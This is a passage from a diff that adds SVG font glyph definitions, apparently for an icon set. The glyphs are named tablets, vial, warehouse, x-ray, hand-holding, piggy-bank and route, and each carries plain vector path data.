-11.2998l-33.9004 -34c-3.09961 -3.09961 -8.19922 -3.09961 -11.2998 0l-17 17l-135.7 135.9l-17 17c-3.09961 3.09961 -3.09961 8.19922 0 11.2998l33.9004 33.8994 +c3.09961 3.10059 8.2002 3.10059 11.2998 0l17 -17l56.6006 -56.5996l45.2998 45.2998l-28.2998 28.2998c-3.10059 3.10059 -3.10059 8.2002 0 11.3008l11.2998 11.2998c3.09961 3.09961 8.2002 3.09961 11.2998 0z" /> + <glyph glyph-name="tablets" unicode="" horiz-adv-x="640" +d="M160 256c81.0996 0 147.5 -58.5 160 -134.7c0.799805 -4.7998 -3.2998 -9.2998 -8.2998 -9.2998h-303.3c-5 0 -9.10059 4.5 -8.30078 9.2998c12.4004 76.2002 78.8008 134.7 159.9 134.7zM311.6 80c5 0 9.10059 -4.5 8.30078 -9.2998 +c-12.4004 -76.2002 -78.8008 -134.7 -159.9 -134.7s-147.5 58.5 -159.9 134.7c-0.799805 4.7998 3.30078 9.2998 8.30078 9.2998h303.199zM593.4 401.4c56.5 -56.5 61.3994 -144.2 15.8994 -206.9c-2.7998 -4 -8.7998 -4.2998 -12.2998 -0.799805l-211.3 211.399 +c-3.5 3.40039 -3.2002 9.40039 0.799805 12.3008c62.7002 45.3994 150.4 40.5 206.9 -16zM363 382.3l211.3 -211.3c3.5 -3.40039 3.2002 -9.40039 -0.799805 -12.2998c-62.7002 -45.5 -150.4 -40.6006 -206.9 15.8994c-56.3994 56.5 -61.2998 144.2 -15.8994 206.9 +c2.7998 4 8.7998 4.2998 12.2998 0.799805z" /> + <glyph glyph-name="thermometer" unicode="" +d="M476.8 427.6c49.4004 -40.6992 42.1006 -107.3 7.2002 -142.199l-254.2 -253.301h-99.8994l-89 -89c-9.30078 -9.39941 -24.5 -9.39941 -33.9004 0c-9.40039 9.30078 -9.40039 24.5 0 33.9004l89 89v100.9l45.2998 45.6992l50.1006 -50.1992 +c3.09961 -3.10059 8.19922 -3.10059 11.2998 0l11.2998 11.2998c3.09961 3.09961 3.09961 8.2002 0 11.2998l-50.0996 50.2002l45.0996 45.3994l50.2998 -50.1992c3.10059 -3.10059 8.2002 -3.10059 11.2998 0l11.3008 11.2998c3.09961 3.09961 3.09961 8.2002 0 11.2998 +l-50.3008 50.4004l45.1006 45.3994l50.3994 -50.5c3.10059 -3.09961 8.2002 -3.09961 11.3008 0l11.2998 11.2998c3.09961 3.10059 3.09961 8.2002 0 11.3008l-50.5 50.5l45.7002 46c36.3994 36.5 94.3994 40.8994 131.899 10.1992z" /> + <glyph glyph-name="vial" unicode="" horiz-adv-x="480" +d="M477.7 261.9c3.09961 -3.10059 3.09961 -8.2002 0 -11.2002l-34 -33.9004c-3.10059 -3.09961 -8.2002 -3.09961 -11.2998 0l-11.2002 11.1006l-246.3 -245.7c-20.1006 -20.1006 -46.5 -30.1006 -72.9004 -30.1006c-28.9004 -0.0996094 -57.7998 11.9004 -78.4004 35.9004 +c-35.6992 41.5 -29.3994 104.8 9.40039 143.5l242.4 241.9l-11.2002 11.0996c-3.10059 3.09961 -3.10059 8.2002 0 11.2998l34 33.9004c3.09961 3.09961 8.2002 3.09961 11.2998 0zM318 192l69.5 69.4004l-78.5 78.2998l-148 -147.7h157z" /> + <glyph glyph-name="vials" unicode="" horiz-adv-x="640" +d="M72 384c-4.40039 0 -8 3.59961 -8 8v48c0 4.40039 3.59961 8 8 8h208c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-24v-240c0 -44.0996 -35.9004 -80 -80 -80s-80 35.9004 -80 80v240h-24zM144 384v-96h64v96h-64zM624 0c8.7998 0 16 -7.2002 16 -16 +v-32c0 -8.7998 -7.2002 -16 -16 -16h-608c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h608zM360 384c-4.40039 0 -8 3.59961 -8 8v48c0 4.40039 3.59961 8 8 8h208c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-24v-240 +c0 -44.0996 -35.9004 -80 -80 -80s-80 35.9004 -80 80v240h-24zM432 384v-96h64v96h-64z" /> + <glyph glyph-name="warehouse" unicode="" horiz-adv-x="640" +d="M504 96c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-367.7c-4.39941 0 -8 3.59961 -8 8l0.100586 48c0 4.40039 3.59961 8 8 8h367.6zM504 0c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-368c-4.40039 0 -8 3.59961 -8 8 +l0.0996094 48c0 4.40039 3.60059 8 8 8h367.9zM504 192c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-367.5c-4.40039 0 -8 3.59961 -8 8l0.0996094 48c0 4.40039 3.60059 8 8 8h367.4zM610.5 331c17.7998 -7.5 29.5 -24.9004 29.5 -44.2998v-342.7 +c0 -4.40039 -3.59961 -8 -8 -8h-80c-4.40039 0 -8 3.59961 -8 8v248c0 17.5996 -14.5996 32 -32.5996 32h-382.801c-18 0 -32.5996 -14.4004 -32.5996 -32v-248c0 -4.40039 -3.59961 -8 -8 -8h-80c-4.40039 0 -8 3.59961 -8 8v342.7c0 19.3994 11.7002 36.7998 29.5 44.2998 +l272 113.3c5.6748 2.35449 11.959 3.6543 18.4814 3.6543s12.7432 -1.2998 18.4189 -3.6543z" /> + <glyph glyph-name="weight" unicode="" +d="M448 384c35.29 0 64 -28.71 64 -64v-320c0 -35.29 -28.71 -64 -64 -64h-384c-35.29 0 -64 28.71 -64 64v320c0 35.29 28.71 64 64 64h25.9805c-16.4209 -28.2803 -25.9805 -61.0098 -25.9805 -96c0 -105.87 86.1299 -192 192 -192s192 86.1299 192 192 +c0 34.9902 -9.55957 67.7197 -25.9805 96h25.9805zM256 128c-88.3701 0 -160 71.6299 -160 160s71.6299 160 160 160s160 -71.6299 160 -160s-71.6299 -160 -160 -160zM255.7 279.94c-21.9404 -0.170898 -39.7002 -17.96 -39.7002 -39.9404c0 -22.0898 17.9102 -40 40 -40 +s40 17.9102 40 40c0 10.5498 -4.26953 20 -10.9502 27.1602l33.6699 78.5498c3.4707 8.11035 -0.290039 17.5205 -8.41016 21c-8.08984 3.50977 -17.5293 -0.240234 -21.0293 -8.41016z" /> + <glyph glyph-name="x-ray" unicode="" horiz-adv-x="640" +d="M240 64c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16s-16 7.2002 -16 16s7.2002 16 16 16zM400 32c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16zM624 448c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16 +h-608c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h608zM624 0c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-608c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h48v352h512v-352h48zM480 200v16c0 4.40039 -3.59961 8 -8 8 +h-136v32h104c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-104v24c0 4.40039 -3.59961 8 -8 8h-16c-4.40039 0 -8 -3.59961 -8 -8v-24h-104c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h104v-32h-136c-4.40039 0 -8 -3.59961 -8 -8v-16 +c0 -4.40039 3.59961 -8 8 -8h136v-32h-104c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h104v-32h-64c-26.5 0 -48 -21.5 -48 -48s21.5 -48 48 -48s48 21.5 48 48v16h64v-16c0 -26.5 21.5 -48 48 -48s48 21.5 48 48s-21.5 48 -48 48h-64v32h104 +c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-104v32h136c4.40039 0 8 3.59961 8 8z" /> + <glyph glyph-name="box-open" unicode="" horiz-adv-x="640" +d="M425.7 192c4.5 0 9 0.599609 13.2998 1.90039l137 39.0996v-178c0 -14.5996 -10 -27.4004 -24.2002 -31l-216.399 -54.0996c-10.1006 -2.5 -20.8008 -2.5 -31 0l-216.2 54.0996c-14.2002 3.5 -24.2002 16.2998 -24.2002 31v178l137 -39.2002 +c4.2998 -1.2998 8.7998 -1.89941 13.2998 -1.89941c16.9004 0 32.7998 9 41.5 23.5l64.2002 106.6l64.2998 -106.6c8.60059 -14.4004 24.5 -23.4004 41.4004 -23.4004zM638.3 304.2c4.5 -9.2002 -0.299805 -20.2002 -10.2002 -23.1006l-197.899 -56.5 +c-7.10059 -2 -14.7002 1 -18.5 7.30078l-91.7002 152.1l250.1 31.9004c6.90039 0.899414 13.6006 -2.7002 16.7002 -8.90039zM53.2002 407c3.09961 6.2002 9.7002 9.7002 16.5996 8.90039l250.2 -31.9004l-91.7998 -152c-3.7998 -6.2998 -11.4004 -9.2998 -18.5 -7.2998 +l-197.9 56.5c-9.7998 2.7998 -14.7002 13.7998 -10.0996 23z" /> + <glyph glyph-name="comment-dots" unicode="" +d="M256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-38.4004 0 -74.7002 7.09961 -107.4 19.4004c-24.5996 -19.6006 -74.2998 -51.4004 -140.6 -51.4004c-3.2002 0 -6 1.7998 -7.2998 4.7998s-0.700195 6.40039 1.5 8.7002 +c0.5 0.5 42.2998 45.4004 54.7998 95.7998c-35.5996 35.7002 -57 81.1006 -57 130.7c0 114.9 114.6 208 256 208zM128 176c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM256 176c17.7002 0 32 14.2998 32 32 +s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM384 176c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="comment-slash" unicode="" horiz-adv-x="640" +d="M64 208c0 18.5996 3.2998 36.5 8.90039 53.5996l325.5 -251.6c-24.7002 -6.40039 -51 -10 -78.4004 -10c-38.4004 0 -74.7002 7.09961 -107.4 19.4004c-24.5996 -19.6006 -74.2998 -51.4004 -140.6 -51.4004c-3.2002 0 -6 1.90039 -7.2998 4.7998 +c-1.2998 3 -0.700195 6.40039 1.5 8.7002c0.5 0.599609 42.2002 45.5 54.7998 95.7998c-35.5996 35.7002 -57 81.1006 -57 130.7zM633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.90039 -22.3008l-19.6006 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-588.399 454.7 +c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002c5.5 7 15.5 8.2002 22.5 2.7998l105.1 -81.2998c45.2002 32.6006 104.301 52.7002 169.4 52.7002c141.4 0 256 -93.0996 256 -208c0 -49.2002 -21.4004 -94.0996 -56.5996 -129.7z" /> + <glyph glyph-name="couch" unicode="" horiz-adv-x="640" +d="M160 224c0 35.2998 -28.7002 64 -64 64h-32c0 53 43 96 96 96h320c53 0 96 -43 96 -96h-32c-35.2998 0 -64 -28.7002 -64 -64v-64h-320v64zM576 256c35.2998 0 64 -28.7002 64 -64c0 -23.5996 -13 -44 -32 -55.0996v-120.9c0 -8.7998 -7.2002 -16 -16 -16h-64 +c-8.7998 0 -16 7.2002 -16 16v16h-384v-16c0 -8.7998 -7.2002 -16 -16 -16h-64c-8.7998 0 -16 7.2002 -16 16v120.9c-19 11.0996 -32 31.5 -32 55.0996c0 35.2998 28.7002 64 64 64h32c17.7002 0 32 -14.2998 32 -32v-96h384v96c0 17.7002 14.2998 32 32 32h32z" /> + <glyph glyph-name="donate" unicode="" +d="M256 32c-114.9 0 -208 93.0996 -208 208s93.0996 208 208 208s208 -93.0996 208 -208s-93.0996 -208 -208 -208zM233.8 350.6c-32.7002 -0.899414 -59 -28.3994 -59.0996 -62.3994c0 -27.7002 18 -52.4004 43.7002 -60.1006l62.2998 -18.6992 +c7.09961 -2.10059 12.0996 -9.40039 12.0996 -17.6006c0 -10.0996 -7.2998 -18.2998 -16.2998 -18.2998h-38.9004c-6.39941 0 -12.3994 1.7002 -17.7998 5.09961c-4.5 2.80078 -10.2002 2.7002 -14 -1l-16.2998 -15.5c-5 -4.7998 -4.40039 -13 1.2002 -17.0996 +c12.5 -9.2998 27.5 -14.5996 43 -15.4004v-17c0 -9.19922 7.39941 -16.5996 16.5996 -16.5996h11.1006c9.19922 0 16.5996 7.40039 16.5996 16.5996v16.8008c32.7002 0.899414 59.0996 28.3994 59.0996 62.3994c0 27.7002 -18 52.4004 -43.6992 60.1006l-62.3008 18.6992 +c-7.09961 2.10059 -12.0996 9.40039 -12.0996 17.6006c0 10.0996 7.2998 18.2998 16.2998 18.2998h38.9004c6.39941 0 12.3994 -1.7002 17.7998 -5.09961c4.5 -2.80078 10.2002 -2.7002 14 1l16.2998 15.5c5 4.7998 4.40039 13 -1.2002 17.0996 +c-12.5 9.2998 -27.5 14.5996 -43 15.4004v17c0 9.19922 -7.39941 16.5996 -16.5996 16.5996h-11.0996c-9.2002 0 -16.6006 -7.40039 -16.6006 -16.5996v-16.8008zM480 96c17.7002 0 32 -14.2998 32 -32v-96c0 -17.7002 -14.2998 -32 -32 -32h-448 +c-17.7002 0 -32 14.2998 -32 32v96c0 17.7002 14.2998 32 32 32h32.4004c19.6992 -26 44.5996 -47.7002 73 -64h-63.8008c-5.2998 0 -9.59961 -3.59961 -9.59961 -8v-16c0 -4.40039 4.2998 -8 9.59961 -8h364.7c5.2998 0 9.60059 3.59961 9.60059 8v16 +c0 4.40039 -4.30078 8 -9.60059 8h-63.7998c28.4004 16.2998 53.4004 38 73 64h32.5z" /> + <glyph glyph-name="dove" unicode="" +d="M288 280.8c-50.7998 10.5 -96.5996 36.7998 -130.8 75.1006c11.2002 32.3994 27.7998 61.5996 48.8994 86.5c8.80078 10.5 25.7002 5.19922 27.8008 -8.30078c7 -45.8994 25.8994 -88.8994 54.0996 -125.199v-28.1006zM400 384h112l-32 -64v-160.1 +c0 -88.4004 -71.5996 -159.9 -160 -159.9h-76.9004l-65.1992 -56.0996c-6.10059 -5.30078 -14.1006 -8.2002 -22.1006 -7.90039c-92.7998 3.7998 -135.8 49.4004 -153.2 76.2998c-6 9.2998 -1.19922 21.7002 9.5 24.4004l143.9 36 +c-12.7998 9.59961 -25.7002 20.0996 -38.9004 32.7998c-51 49 -85.0996 115.1 -85.0996 185.9c0 41.3994 9.40039 80.5996 26 115.699c5.7998 12.3008 23.5 11.6006 29 -0.899414c40 -91.2002 128.6 -155.5 233 -161.7v59.4004c0 44.1992 35.7998 80.0996 80 80.0996z +M400 287.9c8.7998 0 16 7.19922 16 16c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.80078 7.2002 -16 16 -16z" /> + <glyph glyph-name="hand-holding" unicode="" horiz-adv-x="576" +d="M565.3 119.9c15.1006 -13.6006 13.9004 -36.8008 -1.2998 -48.9004l-151.2 -121c-11.3994 -9.09961 -25.5 -14 -40 -14h-356.8c-8.7998 0 -16 7.2002 -16 16v96c0 8.7998 7.2002 16 16 16h55.4004l46.5 37.7002c21 17 47.0996 26.2998 74.0996 26.2998h160 +c19.5 0 34.9004 -17.4004 31.5996 -37.4004c-2.59961 -15.6992 -17.3994 -26.5996 -33.2998 -26.5996h-78.2998c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16h118.3c14.6006 0 28.7002 4.90039 40 14l92.4004 73.9004c12.3994 10 30.7998 10.6992 42.5996 0z" /> + <glyph glyph-name="hand-holding-heart" unicode="" horiz-adv-x="576" +d="M275.3 197.5l-108.899 114.2c-31.6006 33.2002 -29.7002 88.2002 5.59961 118.8c30.7998 26.7002 76.7002 21.9004 104.9 -7.7998l11.0996 -11.6006l11.2002 11.7002c28.2002 29.6006 74.0996 34.4004 104.899 7.7002c35.4004 -30.5996 37.2002 -85.5996 5.60059 -118.8 +l-108.9 -114.2c-7.09961 -7.40039 -18.5 -7.40039 -25.5 0zM565.3 119.9c15.1006 -13.6006 13.9004 -36.8008 -1.2998 -48.9004l-151.2 -121c-11.3994 -9.09961 -25.5 -14 -40 -14h-356.8c-8.7998 0 -16 7.2002 -16 16v96c0 8.7998 7.2002 16 16 16h55.4004l46.5 37.7002 +c21 17 47.0996 26.2998 74.0996 26.2998h160c19.5 0 34.9004 -17.4004 31.5996 -37.4004c-2.59961 -15.6992 -17.3994 -26.5996 -33.2998 -26.5996h-78.2998c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16h118.3c14.6006 0 28.7002 4.90039 40 14l92.4004 73.9004 +c12.3994 10 30.7998 10.6992 42.5996 0z" /> + <glyph glyph-name="hand-holding-usd" unicode="" horiz-adv-x="576" +d="M271.06 303.7c-24.0596 6.39941 -43.4297 24.7002 -46.5693 47.7002c-4.33984 32 20.6201 59.3994 53.5098 63v17.5996c0 8.7998 7.82031 16 17.3701 16h17.3701c9.5498 0 17.3701 -7.2002 17.3701 -16v-17.7197c12.457 -1.28516 24.2842 -5.35938 34.5195 -11.5 +c3.32227 -2.00098 5.52734 -5.64746 5.52734 -9.80469c0 -2.18945 -0.617188 -4.23633 -1.6875 -5.97559c-0.592773 -0.978516 -1.31836 -1.8457 -2.16992 -2.59961l-19 -17.5c-4.01953 -3.7002 -10.0693 -4.2002 -15.2998 -2 +c-3.46289 1.4043 -7.2666 2.19336 -11.2305 2.19922h-35.5996c-5.03027 0 -9.12012 -3.7998 -9.12012 -8.39941c0.12207 -3.94727 2.91699 -7.23145 6.62988 -8.10059l54.2705 -14.2998c24.0996 -6.39941 43.4102 -24.7002 46.5596 -47.7002 +c4.33984 -32 -20.5693 -59.3994 -53.5 -63v-17.5996c0 -8.7998 -7.83008 -16 -17.3799 -16h-17.3701c-9.54004 0 -17.3701 7.2002 -17.3701 16v17.7002c-12.4541 1.28516 -24.2773 5.35938 -34.5098 11.5c-3.33008 1.99609 -5.54199 5.64551 -5.54199 9.80762 +c0 2.17188 0.607422 4.20312 1.66211 5.93262c0.617188 1.00098 1.36914 1.88867 2.25 2.65918l19 17.5c4.01953 3.7002 10.0596 4.2002 15.2998 2c3.45117 -1.39941 7.24121 -2.18848 11.1904 -2.19922h35.5996c5.03027 0 9.12012 3.7998 9.12012 8.39941 +c-0.121094 3.94727 -2.91602 7.23145 -6.62988 8.10059zM565.27 119.9c6.5918 -5.86328 10.7656 -14.3916 10.7656 -23.8984c0 -10.1123 -4.70117 -19.1357 -12.0352 -25.002l-151.23 -121c-10.9443 -8.74512 -24.8633 -14 -39.9482 -14h-0.0517578h-356.77 +c-8.83105 0 -16 7.16895 -16 16v96c0 8.83105 7.16895 16 16 16h55.4004l46.5 37.71c20.2197 16.4053 46.0596 26.2822 74.0996 26.29h160c17.6406 0 31.9668 -14.3066 32 -31.9404c0 -0.0410156 0.000976562 -0.0507812 0.000976562 -0.0917969 +c0 -1.83008 -0.158203 -3.62402 -0.460938 -5.36816c-2.54004 -15.6992 -17.3496 -26.5996 -33.25 -26.5996h-78.29c-8.83105 0 -16 -7.16895 -16 -16s7.16895 -16 16 -16h118.27c0.0605469 0 0.161133 0.0234375 0.22168 0.0234375 +c15.0459 0 28.8799 5.23242 39.7783 13.9766l92.4004 73.9004c12.4004 10 30.7998 10.6992 42.5996 0z" /> + <glyph glyph-name="hand-holding-water" unicode="" horiz-adv-x="576" +d="M288 192c-53 0 -96 42.0996 -96 94c0 40 57.0996 120.7 83.2002 155.6c6.39941 8.5 19.2002 8.5 25.5996 0c26.1006 -34.8994 83.2002 -115.6 83.2002 -155.6c0 -51.9004 -43 -94 -96 -94zM565.3 119.9c15.1006 -13.6006 13.9004 -36.8008 -1.2998 -48.9004l-151.2 -121 +c-11.3994 -9.09961 -25.5 -14 -40 -14h-356.8c-8.7998 0 -16 7.2002 -16 16v96c0 8.7998 7.2002 16 16 16h55.4004l46.5 37.7002c21 17 47.0996 26.2998 74.0996 26.2998h160c19.5 0 34.9004 -17.4004 31.5996 -37.4004 +c-2.59961 -15.6992 -17.3994 -26.5996 -33.2998 -26.5996h-78.2998c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16h118.3c14.6006 0 28.7002 4.90039 40 14l92.4004 73.9004c12.3994 10 30.7998 10.6992 42.5996 0z" /> + <glyph glyph-name="hands" unicode="" horiz-adv-x="640" +d="M204.8 217.6l57.6006 -76.7998c16.5996 -22.2002 25.5996 -49.0996 25.5996 -76.7998v-112c0 -8.7998 -7.2002 -16 -16 -16h-131.7c-7.2002 0 -13.5 4.7002 -15.2998 11.5996c-2 7.80078 -5.40039 15.2002 -10.4004 21.7002l-104.1 134.3 +c-6.7998 8.5 -10.5 19.1006 -10.5 30v218.4c0 17.7002 14.2998 32 32 32s32 -14.2998 32 -32v-148.4l89.7998 -107.8c6 -7.2998 16.9004 -7.7998 23.6006 -1.09961l12.7998 12.7998c5.59961 5.59961 6.2998 14.5 1.5 20.9004l-38.1006 50.7998 +c-10.5996 14.0996 -7.69922 34.2002 6.40039 44.7998s34.2002 7.7002 44.7998 -6.40039zM608 384c17.7002 0 32 -14.2998 32 -32v-218.4c0 -10.8994 -3.7002 -21.5 -10.5 -30l-104.1 -134.3c-5 -6.5 -8.40039 -13.8994 -10.4004 -21.7002 +c-1.7998 -6.89941 -8.2002 -11.5996 -15.2998 -11.5996h-131.7c-8.7998 0 -16 7.2002 -16 16v112c0 27.7002 9 54.5996 25.5996 76.7998l57.6006 76.7998c10.5996 14.1006 30.7002 17 44.7998 6.40039s17 -30.7002 6.40039 -44.7998l-38.1006 -50.7998 +c-4.7998 -6.40039 -4.09961 -15.3008 1.5 -20.9004l12.7998 -12.7998c6.60059 -6.60059 17.6006 -6.10059 23.6006 1.09961l89.7998 107.8v148.4c0 17.7002 14.2998 32 32 32z" /> + <glyph glyph-name="hands-helping" unicode="" horiz-adv-x="640" +d="M488 256c13.2998 0 24 -10.7002 24 -24v-48c0 -13.2998 -10.7002 -24 -24 -24h-8v-64c0 -17.7002 -14.2998 -32 -32 -32h-16c0 -35.2998 -28.7002 -64 -64 -64h-136.6l-103.4 -59.7002c-15.2998 -8.7998 -34.9004 -3.59961 -43.7002 11.7002l-80 138.6 +c-8.89941 15.3008 -3.59961 34.9004 11.7002 43.7002l80 46.2002v47.2998c0 22.4004 11.7998 43.2998 31.0996 54.7998l64.9004 39v-121.6c0 -39.7002 32.2998 -72 72 -72s72 32.2998 72 72v56h152zM635.7 293.4c8.7998 -15.3008 3.59961 -34.8008 -11.7002 -43.7002 +l-80 -46.2002v28.5c0 30.9004 -25.0996 56 -56 56h-184v-88c0 -22.0996 -17.9004 -40 -40 -40s-40 17.9004 -40 40v126.3c0 11 5.59961 21.2998 15 27.1006l33.5 20.8994c10.2002 6.2998 21.9004 9.7002 33.9004 9.7002h102.199l103.4 59.7002 +c15.2998 8.7998 34.9004 3.59961 43.7002 -11.7002z" /> + <glyph glyph-name="parachute-box" unicode="" +d="M511.9 273c1.09961 -9.2002 -6.80078 -17 -16.1006 -17h-8.7002l-136.8 -151.9c0.700195 -2.69922 1.60059 -5.19922 1.60059 -8.09961v-128c0 -17.7002 -14.3008 -32 -32 -32h-128c-17.7002 0 -32 14.2998 -32 32v128c0 2.90039 0.899414 5.5 1.59961 8.09961 +l-136.7 151.9h-8.7002c-9.19922 0 -17.0996 7.90039 -16 17c9.10059 75.5 78.4004 132.3 158.301 158.7c-36.4004 -39.4004 -62.4004 -100.601 -62.4004 -175.7h-28.0996l116.6 -129.5c2.5 0.599609 4.7998 1.5 7.5 1.5h48v128h-112c0 115.2 68.9004 192 128 192 +s128 -76.7998 128 -192h-112v-128h48c2.7002 0 5 -0.900391 7.5 -1.5l116.6 129.5h-28.0996c0 75.0996 -26 136.3 -62.4004 175.7c79.9004 -26.2998 149.2 -83.1006 158.301 -158.7z" /> + <glyph glyph-name="people-carry" unicode="" horiz-adv-x="640" +d="M128 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM512 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM637.7 -20.0996c6.59961 -16.4004 -1.40039 -35 -17.7998 -41.6006 +c-3.90039 -1.59961 -7.90039 -2.2998 -11.9004 -2.2998c-12.7002 0 -24.7002 7.59961 -29.7002 20.0996l-27.7002 69.2002l2 18.2002l41.1006 46.4004zM603.5 189.7c4.59961 -20 -0.799805 -41.2002 -14.4004 -56.7002l-67.1992 -75.9004l-10.1006 -92.5996 +c-1.7998 -16.4004 -15.7002 -28.5 -31.7998 -28.5c-1.2002 0 -2.2998 0.0996094 -3.5 0.200195c-17.5 1.89941 -30.2002 17.7002 -28.2998 35.2998l10.0996 92.7998c1.5 13 6.90039 25.1006 15.6006 35l43.2998 49l-17.6006 70.2998l-6.7998 -20.3994 +c-4.09961 -12.6006 -11.8994 -23.4004 -24.5 -32.6006l-51.0996 -32.5c-4.60059 -2.89941 -12.1006 -4.59961 -17.2002 -5h-160c-5.09961 0.400391 -12.5996 2.10059 -17.2002 5l-51.0996 32.5c-12.6006 9.2002 -20.4004 20.1006 -24.5 32.6006l-6.7998 20.3994 +l-17.6006 -70.2998l43.2998 -49c8.7002 -9.89941 14.1006 -22 15.6006 -35l10.0996 -92.7998c1.90039 -17.5996 -10.7002 -33.4004 -28.2998 -35.2998c-1.2002 -0.100586 -2.2998 -0.200195 -3.5 -0.200195c-16.2002 0 -30 12.2002 -31.7998 28.5l-10.1006 92.5996 +l-67.1992 75.9004c-13.7002 15.5 -19 36.7002 -14.4004 56.7002l18.4004 80.2002c4.59961 20 18.5996 36.7998 37.5 44.8994c18.5 8 38.8994 6.7002 56.0996 -3.2998c22.7002 -13.4004 39.7998 -34.4004 48.0996 -59.4004l11.3008 -33.8994l16.0996 -10.2002v96 +c0 8.7998 7.2002 16 16 16h160c8.7998 0 16 -7.2002 16 -16v-96l16 10.2002l11.2998 33.8994c8.40039 24.9004 25.4004 46 48.1006 59.4004c17.0996 10 37.5996 11.2998 56.0996 3.2998c18.9004 -8.09961 32.9004 -24.8994 37.5 -44.8994zM46.2998 89.9004l41.1006 -46.4004 +l2 -18.2002l-27.7002 -69.2002c-6.5 -16.0996 -24.7998 -24.3994 -41.6006 -17.7998c-16.3994 6.60059 -24.3994 25.2002 -17.7998 41.6006z" /> + <glyph glyph-name="piggy-bank" unicode="" horiz-adv-x="576" +d="M560 224c8.7998 0 16 -7.2002 16 -16v-128c0 -8.7998 -7.2002 -16 -16 -16h-48.7002c-9 -11.9004 -19.5 -22.4004 -31.2998 -31.2998v-80.7002c0 -8.7998 -7.2002 -16 -16 -16h-64c-8.7998 0 -16 7.2002 -16 16v48h-128v-48c0 -8.7998 -7.2002 -16 -16 -16h-64 +c-8.7998 0 -16 7.2002 -16 16v80.7002c-38.5996 29.2002 -64 75.0996 -64 127.3h-40c-33.2998 0 -59.9004 29.2002 -55.5 63.4004c3.59961 28.1992 29 48.5996 57.5 48.5996c3.2998 0 6 -2.7002 6 -6v-20c0 -3.2998 -2.7002 -6 -6 -6h-1 +c-11.5996 0 -22.2998 -7.7998 -24.5 -19.2002c-3 -15.2998 8.7002 -28.7998 23.5 -28.7998h43.2002c14.8994 73 79.3994 128 156.8 128h128c7.90039 0 15.4004 -1.2002 23 -2.2998c17.5996 20.7998 43.5996 34.2998 73 34.2998h32l-18.9004 -75.5 +c15.8008 -14.7998 28.6006 -32.5 37.4004 -52.5h29.5zM432 160c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 352c-16.4004 0 -32.2002 -2.2998 -47.4004 -6.2002c-0.0996094 2.10059 -0.599609 4.10059 -0.599609 6.2002 +c0 53 43 96 96 96s96 -43 96 -96c0 -0.299805 -0.0996094 -0.5 -0.0996094 -0.799805c-5.2002 0.399414 -10.5 0.799805 -15.9004 0.799805h-128z" /> + <glyph glyph-name="ribbon" unicode="" horiz-adv-x="448" +d="M6.09961 3.7002l117.2 130l79.2002 -87.9004l-91.7998 -101.899c-8 -8.80078 -21.4004 -10.5 -31.2998 -3.80078l-68.8008 27.9004c-12 8.09961 -14.0996 24.9004 -4.5 35.7002zM441.9 3.7002c9.69922 -10.7998 7.59961 -27.6006 -4.30078 -35.6006l-68.7998 -27.8994 +c-9.89941 -6.7002 -23.2998 -5.10059 -31.2998 3.7998l-248.1 275.3c-48.6006 53.7998 -13 113.5 -11.5 116l43.5996 73.2002c4.2998 7.2002 9.90039 13.2998 16.7998 18c44 29.7002 130.7 27.5996 171.4 0c6.89941 -4.7002 12.5 -10.7998 16.7998 -18l43.7002 -73.5 +c21.8994 -36.9004 17.2998 -83.5996 -11.4004 -115.5l-34.2002 -38l-79.0996 87.7002s52.7002 59 56 64.5996c-15.4004 8.40039 -40.2002 17.9004 -77.5 17.9004s-62.0996 -9.5 -77.5 -17.9004c3.40039 -5.5 295.4 -330.1 295.4 -330.1z" /> + <glyph glyph-name="route" unicode="" +d="M416 128c52.9004 0 96 -43.0996 96 -96s-43.0996 -96 -96 -96h-277.8c13.5 16.2998 31.2998 39.2002 47.2998 64h230.5c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32h-96c-52.9004 0 -96 43.0996 -96 96s43.0996 96 96 96h45.2998 +c-23.0996 32.5996 -45.2998 70.5 -45.2998 96c0 53 43 96 96 96s96 -43 96 -96s-96 -160 -96 -160h-96c-17.5996 0 -32 -14.4004 -32 -32s14.4004 -32 32 -32h96zM416 384c-17.7002 0 -32 